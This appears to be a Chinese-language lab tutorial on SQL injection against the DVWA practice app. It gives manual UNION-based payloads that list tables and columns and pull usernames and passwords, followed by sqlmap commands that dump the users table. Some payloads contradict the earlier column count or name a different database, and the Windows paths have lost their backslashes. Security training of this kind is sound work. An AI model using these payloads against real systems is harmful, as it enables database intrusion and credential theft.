SQL注入流程
面对一个查询条件的web网页,我们需要做以下的事情
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.下载数据
这里我们用hackbar,方便我们操作。
http://192.168.5.155:85/vulnerabilities/sqli/?id=1&Submit=Submit#
利用hackbar后我们在加黑处进行命令修改,以达到手工注入的目的
1.判断是否存在注入,注入是字符型还是数字型
?id=1?id=1' ?id=1' and '1'='1?id=1' and '1'='2
2.查找SQL查询语句中的字段数
?id=1' order by 1--+?id=1' order by 2--+?id=1' order by 3--+
3.确定显示的字段顺序
?id=1' and 1=2 union select 1,2--+
4.获取当前数据库
?id=1' and 1=2 union select 1,database()--+
5.获取数据库中的表
?id=1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'--+
6.获取表中的字段名
?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'--+
7.展示字段数据
?id=1' and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1--+
sqlmap 扫描dvwa
sqlmap 自动化注入 是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。
https://www.freebuf.com/sectool/164608.html
我们在命令行中进行
1.验证是否有数据库
C:Python27sqlmap> python sqlmap.py -r C:UsersCcmdocumentsdvwa.txt
2.爆破当前数据库名,显示为dvwa
C:Python27sqlmap> python sqlmap.py -r C:UsersCcmdocumentsdvwa.txt --current-db
3.爆破当前数据库中的的表单
C:Python27sqlmap> python sqlmap.py -r C:UsersCcmdocumentsdvwa.txt -D dvwa --tables
4.爆破表单中的字段名
C:Python27sqlmap> python sqlmap.py -r C:UsersCcmdocumentsdvwa.txt -D dvwa -T users --columns
5.爆破指定字段的值,并保存相关文件
C:Python27sqlmap> python sqlmap.py -r C:UsersCcmdocumentsdvwa.txt -D dvwa -T users -C user,avatar,failed_login,first_name,last_login,last_name,password,user_id --dump